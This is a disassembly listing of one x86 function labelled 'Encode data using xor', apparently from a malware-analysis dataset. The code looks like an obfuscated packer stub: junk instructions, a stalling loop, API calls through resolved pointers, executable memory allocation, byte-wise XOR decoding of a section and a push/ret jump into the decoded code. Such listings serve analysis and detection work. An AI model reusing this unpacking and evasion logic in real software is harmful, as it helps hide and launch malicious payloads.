Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8dc918de
mov ebx, 0xd3eb436d
not ebx
sub eax, 0xb4c80381
popal
sub eax, 1
or ebx, ebx
mov eax, 0
mov edi, ebx
or edx, edx
add ecx, 0xc41754d3
mov esi, edi
or ecx, ecx
or ecx, edx
or ecx, edx
mov ebx, esi
sub edx, 0xce46033
and ecx, ecx
add eax, 1
mov edx, ecx
inc ecx
cmp eax, 0x100007f
jne 0xa789cd
mov ecx, 0xc8619f37
sub edx, ecx
add ebx, 1
add eax, ebx
or ebx, eax
mov ebx, 0xa78796
mov edi, esi
add edi, edi
mov eax, 0xa7898a
and esi, edx
not esi
add esi, esi
mov ecx, dword [ebx]
not esi
or edx, esi
and ecx, 0xff
sub esi, edx
and edx, edx
xor dword [eax], ecx
not edx
mov edi, edx
dec edi
add eax, 1
inc edi
add edx, 0xb761700d
inc ebx
sub edx, 0x31887b47
add esi, 0x117a22ad
dec edx
cmp eax, entry0
jl 0xa78a23
add edi, 1
and edi, edi
and edi, edi
and edx, esi
add edx, esi
and ecx, ecx
sub esi, ecx
mov ebx, 0xa7898e
add edi, 0xd0a9b528
or edx, esi
add esi, 0x97a479b7
mov ebx, dword [ebx]
add edx, 0xd392c790
add edx, 0x8845095c
mov ebx, dword [ebx]
mov edx, edi
dec edx
push ebx
or edi, edx
or esi, esi
mov ebx, 0xa7898a
sub ecx, 1
sub edi, 0xcd4b6bef
add esi, ecx
mov ebx, dword [ebx]
sub ecx, 0xf4ac4dd7
mov edx, 0x6db95cda
mov ebx, dword [ebx]
not edi
sub edi, edx
push 0xa78992
mov edi, 0xa232e46c
add esi, esi
sub edx, esi
call ebx
and ecx, ecx
mov ecx, 0xfb2c0953
pop ebx
sub esi, 0x9c8d4f12
or edx, edx
push 0xa7899f
add edi, 0x932056d3
not edi
sub edi, 1
push eax
mov edi, esi
dec edi
call ebx
or edi, edx
and edx, edi
and edx, edx
push 0x40
inc edi
sub ecx, edi
dec edx
push 0x3000
dec edx
not ecx
sub edx, 1
push 0x20000de8
mov edi, edx
and esi, ecx
add ecx, 0xa0cf1371
push 0
sub edi, 1
add edi, 0xab29e096
call eax
add edi, 0xcfdc1dd0
add ecx, 0xdc0f1f96
add edi, 0xa85bba8
add eax, 0x20000d6e
add edi, esi
not ecx
mov ebx, 0xe771989e
add ecx, 0x45d078c8
and ecx, edi
mov dword [eax], ebx
mov edi, 0x81fc2675
not esi
mov ebx, dword [eax]
sub edi, 0x3734cadb
sub edx, 1
cmp ebx, 0xe771989e
je 0xa78b8b
mov ecx, 0
mov edx, dword [ecx]
add ecx, ecx
sub edx, esi
mov edi, 0x6a1d5802
dec edx
not edx
inc eax
add ebx, 0x85c5f9a7
mov edi, section..reltc
inc ebx
mov eax, 0xd1f7a632
mov edx, 0xa78795
mov ebx, eax
and eax, ebx
sub ebx, eax
mov esi, 0
add ebx, eax
add ebx, ebx
and eax, eax
mov ecx, 0xa78796
add eax, ebx
or eax, ebx
lea ecx, [esi + ecx]
mov eax, ebx
and eax, ebx
mov ecx, dword [ecx]
not ebx
sub ebx, 1
sub ebx, 0x469c5c4
and ecx, 0xff
or eax, ebx
and ebx, eax
not eax
add esi, 1
sub ebx, eax
add ebx, eax
cmp esi, 0x1f4
jne 0xa78c02
mov esi, 0
sub ebx, 0x381e8bef
inc eax
add eax, 0xd2e8c0da
dec ebx
sub eax, ebx
xor dword [edi], ecx
mov ebx, eax
dec ebx
add edi, 2
add eax, 1
and eax, eax
cmp edi, edx
jl 0xa78bbf
sub eax, ebx
or eax, eax
dec ebx
add eax, ebx
mov esi, section..reltc
mov edi, 0x9e5a03d2
sub edi, 1
mov ebx, section..reltc
add ecx, 0x39e081c4
not ecx
not ecx
mov eax, 0xa78795
not edi
or ecx, ecx
mov ecx, 0xe1bee0bb
mov edx, 0
sub ecx, edi
add edi, 0x78d2d39e
add edi, ecx
mov dl, byte [ebx]
add ecx, ecx
mov ecx, edi
mov byte [esi], dl
inc edi
inc ecx
and ecx, ecx
add esi, 1
add edi, ecx
or ecx, ecx
add ebx, 2
sub ecx, 1
sub ecx, edi
mov edi, ecx
cmp ebx, eax
jle 0xa78c70
add ecx, edi
mov ecx, edi
add ecx, 0x535b9ecd
inc ebx
sub eax, ebx
push 0x8dc6a0
mov eax, 0xfb9d3e94
add ebx, eax
ret